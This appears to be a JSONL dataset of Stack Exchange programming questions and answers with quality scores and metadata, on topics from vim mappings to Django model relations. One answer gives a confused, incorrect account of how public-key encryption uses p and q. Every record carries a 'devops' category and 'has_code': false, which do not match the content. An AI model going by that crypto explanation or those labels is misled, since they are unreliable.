{"id": "hf_e96333a0a200", "question": "<p>I am using the Ajax Control Toolkit Calendar Extender control. In some fields though I want to display the time along with the date. I have tried just setting the Format to \"dd/MM/yyyy hh:mm:ss\" but the time section gets wiped off. If the user wants to change the time section they can do it manually, the calendar drop down is only used for changing the date part. </p>\n\n<p>Are there any workarounds or alternatives to get this working? </p>\n", "question_body": "", "answer": "I have a similar issue and I'm planning to use a Date field and an associated time dropdown (in 1/2 hour increments).  User sets the date in the date field, optionally using the calendar control, and pulls down to a valid time.  I plan to have one selection in the time drop down be a \"don't care\" in case it an \"all day\" event.\n[EDIT] I found this jquery\nplugin\nthat I may end up using.   I also found a link to\nGaia DateTimePicker\nin the answers to\nthis post\n(which now looks to be deleted, probably because the OP was asking for WPF controls, not web controls).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.009080"}
{"id": "hf_e41f44447699", "question": "<p>What is the idiomatic Python equivalent of this C/C++ code?</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>void foo()\n{\n    static int counter = 0;\n    counter++;\n    printf(\"counter is %d\\n\", counter);\n}\n</code></pre>\n\n<p>specifically, how does one implement the static member at the function level, as opposed to the class level? And does placing the function into a class change anything?</p>\n", "question_body": "", "answer": "Use a generator function to generate an iterator.\n```\n```\ndef foo_gen():\n    n = 0\n    while True:\n        n+=1\n        yield n\n```\n```\nThen use it like\n```\n```\nfoo = foo_gen().next\nfor i in range(0,10):\n    print foo()\n```\n```\nIf you want an upper limit:\n```\n```\ndef foo_gen(limit=100000):\n    n = 0\n    while n < limit:\n       n+=1\n       yield n\n```\n```\nIf the iterator terminates (like the example above), you can also loop over it directly, like\n```\n```\nfor i in foo_gen(20):\n    print i\n```\n```\nOf course, in these simple cases it's better to use xrange :)\nHere is the documentation on the\nyield statement\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.059977"}
{"id": "hf_9d0f25a80b6d", "question": "<p>I'm a big fan of <a href=\"http://www.simpletest.org/\" rel=\"noreferrer\">simpletest</a> because it's what I know. It has excellent support for mocking and web-testing. </p>\n\n<p>But I'm always scared of stagnating so any compelling arguments to switch would be appreciated.</p>\n", "question_body": "", "answer": "I haven't used SimpleTest myself, so I can't say much in a way of comparison. Just by observation though, the PHPUnit syntax seems much more verbose.\nThe\nPHPUnit Manual\nis a great source of documentation, and covers most areas of the framework. My only complaint about the manual is that some areas lack detail.\nMy main reason for using PHPUnit over SimpleTest is that it has great\nPhing\nintegration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.083751"}
{"id": "hf_77628315fdd6", "question": "<p>HI All,</p>\n\n<p>I have a piece of javaScript that removes commas from a provided string (in my case currency values)</p>\n\n<p>It is:</p>\n\n<pre><code>    function replaceCommaInCurrency(myField, val)\n    {\n        var re = /,/g;\n\n        document.net1003Form.myField.value=val.replace(re, '');\n    }\n</code></pre>\n\n<p>'MyField' was my attempt to dynamically have this work on any field that I pass in, but it doesn't work, I get errors saying 'MyField' is not valid. I sort of get my, but I thought this was valid.</p>\n\n<p>I am calling by using: onBlur=\"replaceCommaInCurrency(this.name, this.value);return false;\"</p>\n\n<p>this.name and this.value are passing in the right values...field name and its value.</p>\n\n<p>How do I do this dynamically?</p>\n\n<p>-Jason</p>\n", "question_body": "", "answer": "If you code it right into the markup like that, e.g. onblur=\"replaceCommaInCurrency(this)\", the control originating the event gets passed as the parameter.  Then you should be able to do something like:\n```\n```\nmyField.value = myField.value.replace(re, '');\n```\n```\nwith jQuery:\n```\n```\nvar jqField = $(myField);\njqField.val(jqField.val().replace(re, ''));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.118272"}
{"id": "hf_4b1c48732466", "question": "<p>I have a <code>vector</code> that I want to insert into a <code>set</code>. This is one of three different calls (the other two are more complex, involving <code>boost::lambda::if_()</code>), but solving this simple case will help me solve the others.</p>\n\n<pre><code>std::vector&lt;std::string&gt; s_vector;\nstd::set&lt;std::string&gt; s_set;\nstd::for_each(s_vector.begin(), s_vector.end(), s_set.insert(boost::lambda::_1));\n</code></pre>\n\n<p>Unfortunately, this fails with a conversion error message (trying to convert <code>boost::lambda::placeholder1_type</code> to <code>std::string</code>).</p>\n\n<p>So... what's wrong with this?</p>\n", "question_body": "", "answer": "I think part of the problem is that\n```\nfor_each()\n```\nis expecting a functor and you're passing it the result of a function call. So your code would call\n```\nvector<string>::insert()\n```\nfirst and then pass the result of that call to\n```\nfor_each()\n```\n. I'm not sure of the exact syntax, but I think you want to use bind in combination with lambda here. e.g.\n```\n```\nfor_each(s_vector.begin(), s_vector.end(),\n         boost::bind(set<string>::insert, s_set, boost::lambda::_1));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.155806"}
{"id": "hf_bec5654a68a8", "question": "<p>How can I return the result of a different action or move the user to a different action if there is an error in my <code>ModelState</code> without losing my <code>ModelState</code> information?</p>\n<p>The scenario is; <code>Delete</code> action accepts a POST from a DELETE form rendered by my <code>Index</code> Action/View.  If there is an error in the <code>Delete</code> I want to move the user back to the <code>Index</code> Action/View and show the errors that are stored by the <code>Delete</code> action in the <code>ViewData.ModelState</code>.  How can this be done in ASP.NET MVC?</p>\n<pre><code>[AcceptVerbs(HttpVerbs.Post | HttpVerbs.Delete)]\npublic ActionResult Delete([ModelBinder(typeof(RdfUriBinder))] RdfUri graphUri)\n{\n    if (!ModelState.IsValid)\n        return Index(); //this needs to be replaced with something that works :)\n\n    return RedirectToAction(&quot;Index&quot;);\n}\n</code></pre>\n", "question_body": "", "answer": "Maybe try\n```\n```\nreturn View(\"Index\");\n```\n```\ninstead of\n```\n```\nreturn Index();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.251347"}
{"id": "hf_074dc632d438", "question": "<p>I wonder if it's possible to save all files in a Visual Studio 2008 project into a specific character encoding. I got a solution with mixed encodings and I want to make them all the same (UTF-8 with signature).</p>\n\n<p>I know how to save single files, but how about all files in a project?</p>\n", "question_body": "", "answer": "I'm only offering this suggestion in case there's no way to automatically do this in Visual Studio (I'm not even sure this would work):\nCreate a class in your project named\n足の不自由なハッキング\n(or some other unicode text that will force Visual Studio to encode as UTF-8).\nAdd \"using MyProject.\n足の不自由なハッキング\n;\" to the top of each file.  You should be able to do it on everything by doing a global replace of \"using System.Text;\" with \"using System.Text;using MyProject.\n足の不自由なハッキング\n;\".\nSave everything.  You may get a long string of \"Do you want to save X.cs using UTF-8?\" messages or something.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.274385"}
{"id": "hf_433afba412a2", "question": "<p>Does anybody have experience using the open source offering from Terracotta as opposed to their enterprise offering? Specifically, I'm interested if it is worth the effort to use terracotta without the enterprise tools to manage your cluster?</p>\n\n<p>Over-simplified usage summary: we're a small startup with limited budget that needs to process millions of records and scale for hundreds-of-thousands of page views per day.</p>\n", "question_body": "", "answer": "Update\nWhat I see in the OP message is \"well, I don't really know what we need (thus the lack of detailed requirements), but may be some enterprizey tool will magically solve all our problems, known and unforeseen? That would be\nawesome\n!\"\nWith an architectural approach like this it's not gonna fly. No success stories from Teracotta would change that.\nOSS is beneficial when the community around it can replace the commercial support. Suppose the guy have a problem in production. Community cannot help -- it's too small for the obscure product like this. Servers are down, business is in danger. You see? You need a commercial license up-front. No money? Well, then you're\nnot a business\n, and probably not gonna become one (if nobody's willing to invest into it).\nSorry for interrupting your day-dreaming.\nIMHO:\nTerracotta is a clustering solution. Clustering is required for large, enterprise-grade applications. Large applications mean big budgets. Big budgets mean you can afford commercial license from Terracotta.\nTo put it in another way: if you don't have budget to buy it, it's probably not beneficial for your project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.297695"}
{"id": "hf_593241faa5e0", "question": "<p>I'm new to cryptography and modular arithmetic. So, I'm sure it's a silly question, but I can't help it. </p>\n\n<p>How do I calculate <em>a</em> from <br>\n&nbsp;&nbsp;&nbsp;&nbsp; pow(<em>a</em>,<strong>q</strong>) = 1 (mod <strong>p</strong>), <br>\nwhere <strong>p</strong> and <strong>q</strong> are known? I don't get the \"1 (mod <strong>p</strong>)\" part, it equals to 1, doesn't it? If so, than what is \"mod <strong>p</strong>\" about? <br>\nIs this the same as <br>\n&nbsp;&nbsp;&nbsp;&nbsp; pow(<em>a</em>,<strong>-q</strong>) (mod <strong>p</strong>) = 1?</p>\n", "question_body": "", "answer": "Not silly at all, as\nthis is the basis for public-key encryption.\nYou can find an excellent discussion on this at\nhttp://home.scarlet.be/~ping1339/congr.htm#The-equation-a%3Csup%3Ex.\nPKI works by choosing\n```\np\n```\nand\n```\nq\n```\nthat are large and\nrelatively prime\n.  One (say\n```\np\n```\n) becomes your private key and the other (\n```\nq\n```\n) is your public key.  The encryption is \"broken\" if an attacker guesses\n```\np\n```\n, given\n```\na\n```\n```\nq\n```\n(the encrypted message) and\n```\nq\n```\n(your public key).\nSo, to answer your question:\n```\na\n```\n```\nq\n```\n= 1 mod\n```\np\n```\nThis means\n```\na\n```\n```\nq\n```\nis a number that leaves a remainder of 1 when divided by\n```\np\n```\n.  We don't care about the integer portion of the quotient, so we can write:\n```\na\n```\n```\nq\n```\n/\n```\np\n```\n=\n```\nn\n```\n+ 1/\n```\np\n```\nfor\nany integer value of\n```\nn\n```\n.  If we multiply both sides of the equation by\n```\np\n```\n, we have:\n```\na\n```\n```\nq\n```\n=\n```\nnp\n```\n+ 1\nSolving for\n```\na\n```\nwe have:\n```\na\n```\n= (\n```\nnp\n```\n+1)\n1/\n```\nq\n```\nThe final step is to find a value of\n```\nn\n```\nthat generates the original value of\n```\na\n```\n.  I don't know of any way to do this other than trial and error -- which equates to a \"brute force\" attempt to break the encryption.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.320806"}
{"id": "hf_5487525754dd", "question": "<p>Still struggling to understand what best practices are with respect to macros.  I'm attempting to write a macro which defines packages on the fly.</p>\n\n<pre><code>(defmacro def-dynamic-package (name)\n  `(defpackage ,(intern (string-upcase name) \"KEYWORD\")\n     (:use :common-lisp)))\n</code></pre>\n\n<p>This works fine only for expressions such as:</p>\n\n<pre><code>(def-dynamic-package \"helloworld\")\n</code></pre>\n\n<p>But fails miserably for something like this:</p>\n\n<pre><code>(defun make-package-from-path (path)\n  (def-dynamic-package (pathname-name path)))\n</code></pre>\n\n<p>or</p>\n\n<pre><code>(defun make-package-from-path (path)\n  (let ((filename (pathname-path)))\n     (def-dynamic-package filename)))\n</code></pre>\n\n<p>I understand how most basic macros work but how to implement this one escapes me.</p>\n", "question_body": "", "answer": "Failure is to be expected here, because a macro is used when its argument should not be evaluated.\nIn your first make-package-from-path, the def-dynamic-package will receive as argument a list that is EQUAL to the value of the following expression:\n```\n```\n(list 'pathname-name 'path)\n```\n```\nIn your case, you only want a function:\n```\n```\n(defun def-dynamic-package (name)\n  (defpackage (string-upcase name)\n    (:use :common-lisp)))\n```\n```\nBTW, if you check the\nCLHS\n, you'll see that the first argument of\ndefpackage\nneedn't be a symbol, but any\nstring designator\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.344746"}
{"id": "hf_4af378502467", "question": "<p>My shared host did not provide git, so I built and installed it into ~/bin.\nWhen I ran it, I got the following error on most commands, although they were successful.  </p>\n\n<blockquote>\n  <p><code>stdin: is not a tty</code></p>\n</blockquote>\n\n<p>I can solve that problem by adding:  </p>\n\n<blockquote>\n  <p><code>default_run_options[:pty] = true</code></p>\n</blockquote>\n\n<p>to my deploy.rb, but then I get this error, which blocks deployment:</p>\n\n<blockquote>\n  <p><code>sh: git: command not found</code></p>\n</blockquote>\n\n<p>How can I resolve both errors?</p>\n\n<p>I tried adding a ~/.ssh/environment file with <code>\"PATH=$PATH:$HOME/bin\"</code> (and changing sshd_config to use it) but it did nothing.</p>\n\n<p>It seems whatever shell is being used by capistrano is not using the ~/.bashrc or ~/.bash_profile on the remote server.</p>\n\n<p>Any ideas how to set the path on the remote machine?</p>\n\n<p>other info: I'm using OS X locally, and the shared server is linux on Site5.</p>\n", "question_body": "", "answer": "A quick workaround is to set the following in your deploy.rb file:\n```\n```\nset :deploy_via, :copy\n```\n```\nThis will cause the checkout to occur on your own machine and then be copied to the deployment server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.379821"}
{"id": "hf_9af03bb0dd38", "question": "<p>How do you convert between a DateTime and a Time object in Ruby?</p>\n", "question_body": "", "answer": "You'll need two slightly different conversions.\nTo convert from\n```\nTime\n```\nto\n```\nDateTime\n```\nyou can amend the Time class as follows:\n```\n```\nrequire 'date'\nclass Time\n  def to_datetime\n    # Convert seconds + microseconds into a fractional number of seconds\n    seconds = sec + Rational(usec, 10**6)\n\n    # Convert a UTC offset measured in minutes to one measured in a\n    # fraction of a day.\n    offset = Rational(utc_offset, 60 * 60 * 24)\n    DateTime.new(year, month, day, hour, min, seconds, offset)\n  end\nend\n```\n```\nSimilar adjustments to Date will let you convert\n```\nDateTime\n```\nto\n```\nTime\n```\n.\n```\n```\nclass Date\n  def to_gm_time\n    to_time(new_offset, :gm)\n  end\n\n  def to_local_time\n    to_time(new_offset(DateTime.now.offset-offset), :local)\n  end\n\n  private\n  def to_time(dest, method)\n    #Convert a fraction of a day to a number of microseconds\n    usec = (dest.sec_fraction * 60 * 60 * 24 * (10**6)).to_i\n    Time.send(method, dest.year, dest.month, dest.day, dest.hour, dest.min,\n              dest.sec, usec)\n  end\nend\n```\n```\nNote that you have to choose between local time and GM/UTC time.\nBoth the above code snippets are taken from O'Reilly's\nRuby Cookbook\n. Their code reuse\npolicy\npermits this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.496870"}
{"id": "hf_c6bbe51dc365", "question": "<p>Given:</p>\n\n<pre><code>from django.db import models\n\nclass Food(models.Model):\n     \"\"\"Food, by name.\"\"\"\n     name = models.CharField(max_length=25)\n\nclass Cat(models.Model):\n     \"\"\"A cat eats one type of food\"\"\"\n     food = models.ForeignKey(Food)\n\nclass Cow(models.Model):\n     \"\"\"A cow eats one type of food\"\"\"\n     food = models.ForeignKey(Food)\n\nclass Human(models.Model):\n     \"\"\"A human may eat lots of types of food\"\"\"\n     food = models.ManyToManyField(Food)\n</code></pre>\n\n<p>How can one, given only the class Food, get a set of all classes that it has \"reverse relationships\" to. I.e. given the class <strong>Food</strong>, how can one get the classes <strong>Cat</strong>, <strong>Cow</strong> and <strong>Human</strong>.</p>\n\n<p>I would think it's possible because Food has the three \"reverse relations\": <em>Food.cat_set</em>, <em>Food.cow_set</em>, and <em>Food.human_set</em>.</p>\n\n<p>Help's appreciated &amp; thank you!</p>\n", "question_body": "", "answer": "Some digging in the source code revealed:\ndjango/db/models/options.py:\n```\n```\ndef get_all_related_objects(self, local_only=False):\n\ndef get_all_related_many_to_many_objects(self, local_only=False)\n```\n```\nAnd, using these functions on the models from above, you hypothetically get:\n```\n```\n>>> Food._meta.get_all_related_objects()\n[<RelatedObject: app_label:cow related to food>,\n    <RelatedObject: app_label:cat related to food>,]\n\n>>> Food._meta.get_all_related_many_to_many_objects()\n[<RelatedObject: app_label:human related to food>,]\n\n# and, per django/db/models/related.py\n# you can retrieve the model with\n>>> Food._meta.get_all_related_objects()[0].model\n<class 'app_label.models.Cow'>\n```\n```\nNote\n: I hear Model._meta is 'unstable', and perhaps ought not to be relied upon in the post Django-1.0 world.\nThanks for reading. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.543284"}
{"id": "hf_7a862d756a30", "question": "<p>It's kind of a C puzzle. You have to tell if the program finish its execution, if so, how much time it takes to run and what it returns to the OS.</p>\n\n<pre><code>static unsigned char buffer[256];\n\nint main(void)\n{\n  unsigned char *p, *q;\n  q = (p = buffer) + sizeof(buffer);\n  while (q - p)\n  {     \n      p = buffer;\n      while (!++*p++);\n  }\n  return p - q;\n}\n</code></pre>\n\n<p>[EDIT]\nI removed the interview-questions tag since that seems to be the primary thing people are objecting to.  This is a great little puzzle but as everyone has already pointed out, not a great interview question.</p>\n", "question_body": "", "answer": "this code is garbage, see comments\n```\n```\nstatic unsigned char buffer[256];\nint main(void)\n{\n  unsigned char *p, *q;\n  q = (p = buffer) + sizeof(buffer);    //p=buffer, q=buffer+256\n  while (q - p)    //q-p = 256 on first iteration\n  {     \n      p = buffer;        //p=buffer again\n      while (!++*p++);   //increment the value pointed at by p+1 and check for !0\n  }\n  return p - q;    //will return zero if loop ever terminates\n}\n```\n```\nit might terminate, it might not; the while loop is essentially scanning an uninitialized buffer so it might throw an access violation instead; i don't remember the binding precedence of ++*p++, nor do i care enough to look it up\nif this is really an interview question, my answer is \"if this is the kind of code you expect me to work with, i don't want the job\"\nEDIT: thanks to Robert Gamble for reminding me that static arrays are automatically initialized to zero, so the code is not complete garbage - but I still would not want to maintain it or work with the nutjob that wrote it ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.613554"}
{"id": "hf_7aab195d6bb2", "question": "<p>I just realised that Office 2007 now shows multiple pages per default. I can finally take advantage of that huge monitor I've bought. </p>\n\n<p>Is there a similar feature with Visual Studio?</p>\n\n<p>Something like \"View -> Two Pages\"</p>\n", "question_body": "", "answer": "You can use \"Tab Groups\". Visual Studio supports both horizontal and vertical panes (since at least Visual Studio .NET 2002 I believe, I haven't used VS 5 or 6 in ages..)\nThere are several ways to create a tab group. One way is:\nOpen two files.\nGrab the tab of one of the files and pull it down and slightly to the side\nYou'll get a menu prompting you if you want to put it in a new horizontal or vertical pane.\nYou can move files between panes by grabbing the tab of the open file and pulling it next to the tabs in the pane you want it in.\nAnother way is:\nClick Window\nClick New Vertical Tab Group\nHere\nis a website demonstrating this with pictures and it even includes showing you how to split pane with the\nsame\nfile. Handy when refactoring!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.660713"}
{"id": "hf_b56d8018fff5", "question": "<p>Or better said: When to use array as a field data type in a table?</p>\n\n<p>Which solution provides better search results?</p>\n", "question_body": "", "answer": "I've considered this problem as well and the conclusion that I came to, is to use arrays when you want to eliminate table joins. The number of elements contained in each array isn't as important as the size of the tables involved. If there are only a few thousand rows in each table, then joining to get the 50 sub rows shouldn't be a big problem. If you get into 10's or 100's of thousands or rows, you're likely to start chewing through a lot of processor time and disk i/o though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.683751"}
{"id": "hf_cb116a49fcd3", "question": "<p>I'm loading data from my database, and exporting to an Excel file via a method I found on this site: <a href=\"http://www.appservnetwork.com/modules.php?name=News&amp;file=article&amp;sid=8\" rel=\"noreferrer\">http://www.appservnetwork.com/modules.php?name=News&amp;file=article&amp;sid=8</a></p>\n\n<p>It works, but what I want to do now is format the text before it exports - change the font and text size. Does anybody have any ideas on how to do this?</p>\n", "question_body": "", "answer": "I have written Excel spreadsheets from PHP 5 using the\n```\nPEAR :: Package :: Spreadsheet_Excel_Writer\n```\nclasses.  You can do a lot with this package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.729675"}
{"id": "hf_a47d8e21ca74", "question": "<p>I'm using Forms Authentication (and the built in Login controls) and letting users click the \"remember me\" checkbox when logging in. When they return to the site, they are automatically logged in as expected. Is there an event I can catch when this happens? I've been studying the FormsAuthenticationModule.Authenticate event, but I'm not sure that is the correct approach.</p>\n", "question_body": "", "answer": "First of all, look into using the Login control that's available in 2.0+ (as I remember).  There is a Authenticate event you can handle on that control, which is where you can set your session variable.\nAdditionally, let's assume after authenticating the user is taken to some \"home\" page.  So you can set your session variable inside the \"home\" page's Load event handler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.803931"}
{"id": "hf_8e076e1984da", "question": "<p>I have an entry in my .vimrc which makes it page down the viewport when I hit the spacebar. It looks like this:</p>\n\n<pre><code>map &lt;Space&gt; &lt;PageDown&gt;\n</code></pre>\n\n<p>I want to create another key mapping which pages the viewport up when holding shift and hitting the spacebar. I have tried the following entries:</p>\n\n<pre><code>map &lt;Shift&gt;&lt;Space&gt; &lt;PageUp&gt;\nmap &lt;S-Space&gt; &lt;PageUp&gt;\n</code></pre>\n\n<p>Neither work. Anybody know how to achieve this functionality?</p>\n", "question_body": "", "answer": "Use this:\n```\n```\nmap <Space> ^D   \" Pagedown when press Space\nmap <S-Space> ^U \" Page Up when press Shift Space\n```\n```\nTo get the ^D and ^U symbol correctly just press Control-V Control-D, and Control-V Control-U", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.838155"}
{"id": "hf_7e5a4a09a663", "question": "<p>How can I export a GridView's data to a Microsoft Excel 2007 file?</p>\n\n<p>Also, does Microsoft Excel 2007 support html elements and tags?</p>\n", "question_body": "", "answer": "I have used\nAspose.Cells\nto do this.  This component has a mechanism to programmatically create an Excel document from a GridView.  I usually have a LinkButton whose click event handler constructs the document and writes the data into the Response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.861035"}
{"id": "hf_54d6991e4ab5", "question": "<p>I am new to C++ and I had a few general questions about code separation. I have currently built a small application, all in one file.  What I want to do now is convert this into separate files such that they contain similar code or whatnot.  My real question right now is, how do I know how to separate things? What is the invisible margin that code should be separated at?  </p>\n\n<p>Also, what's the point of header files? Is it to forward declare methods and classes so I can use them in my code before they are included by the linker during compilation?  </p>\n\n<p>Any insight into methods or best practises would be great, thanks!</p>\n", "question_body": "", "answer": "Header files should contain class and function declarations.\nSource files contain class and function definitions.\nIt is standard practice (i.e. read easier) to have one declaration per header file and one definition per source file, though for small (read simpler helper) objects you sometimes group them with related more substantial objects.\nExample:  Class Menu\n```\n```\nMenu.h:     Contains the Menu declaration.\nMenu.cpp:   Contains the Menu definition.\n```\n```\nThe reason header files contain the declarations is so that you can include them from multiple source files and thus each source file has exactly the same definition of each class and function.\nConsider it this way:\nIf you did not have header files then you would need to have the class and/or function declarations (without) definitions in every source file, this means a copy of the same declaration in every file. Thus if you modify a class you need to make the same modification in every file. By the use of a header file you have the declaration in one place and thus only one object to modify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.974497"}
{"id": "hf_c74d653cdcc7", "question": "<p>The term is getting 'hotter' with Microsoft Azure and Windows 7.<br>\n What are the benefits + how does the status quo of desktop computing now change? Does the machine no longer need an OS installation (or a highly stripped down version of a typical OS)... what is needed to interact with the 'Cloud' ?</p>\n\n<p><strong>Update</strong>: Received my first RTFM on SO today.<br>\n<strong>To elaborate.. I'm interested in knowing how different is the 'new way' w.r.t. the services provided by a typical desktop OS today</strong> (read Win XP/Vista, linux flavors galore, etc.)... NOT the benefits of cloud computing.</p>\n", "question_body": "", "answer": "So far, it looks like the idea of having software & your data hosted at msft's data centre.\nSOA seems to be related to what cloud is offering.\nNo need to have local software (office will run from internet, your docs will be saved there. so that, you can access it anywhere). I think, the target could be big companies - thereby giving them services (software + hardware (data storage + processing power)) on subscription basis.\nAn expert can shed light on how this can be useful?\nWill people be willing to put everything in the cloud?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:55.996736"}
{"id": "hf_62aa52826af8", "question": "<p>I want to know when an image has finished loading. Is there a way to do it with a callback?</p>\n\n<p>If not, is there a way to do it at all?</p>\n", "question_body": "", "answer": "Image.onload()\nwill often work.\nTo use it, you'll need to be sure to bind the event handler before you set the src attribute.\nRelated Links:\nMozilla on Image.onload()\nExample Usage:\n```\n```\nwindow.onload = function () {\n\n        var logo = document.getElementById('sologo');\n\n        logo.onload = function () {\n            alert (\"The image has loaded!\");  \n        };\n\n        setTimeout(function(){\n            logo.src = 'https://edmullen.net/test/rc.jpg';         \n        }, 5000);\n    };\n```\n```\n```\n```\n<html>\n    <head>\n    <title>Image onload()</title>\n    </head>\n    <body>\n\n    <img src=\"#\" alt=\"This image is going to load\" id=\"sologo\"/>\n\n    <script type=\"text/javascript\">\n\n    </script>\n    </body>\n    </html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.019072"}
{"id": "hf_9a33303dac73", "question": "<p>What are the best ways (or at least most common ways) in ASP (VBScript) for input handling? My main concerns are HTML/JavaScript injections &amp; SQL injections. Is there some equivalent to PHP's <code>htmlspecialchars</code> or <code>addslashes</code>, et cetera? Or do I have to do it manually with something like string replace functions?</p>\n", "question_body": "", "answer": "The bottom line is this:\nAlways HTML-encode user input before you write it to your page.\n```\nServer.HTMLEncode()\n```\ndoes that for you.\nAlways use parameterized queries to interface with a database. The\n```\nÀDODB.Command\n```\nand\n```\nADODB.CommandParameter\n```\nobjects are the right choice here.\nAlways use the URLScan utility and IIS lockdown on the IIS server that renders the page, unless they are version 6 and up, which do not require these tools anymore.\nIf you stick to points 1 and 2\nslavishly\n, I can't think of much that can go wrong.\nMost vulnerabilities come from not properly encoding user input or building SQL strings from it. If you for some reason come to the point where HTML-encoding user input stands in your way, you have found a design flaw in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.101454"}
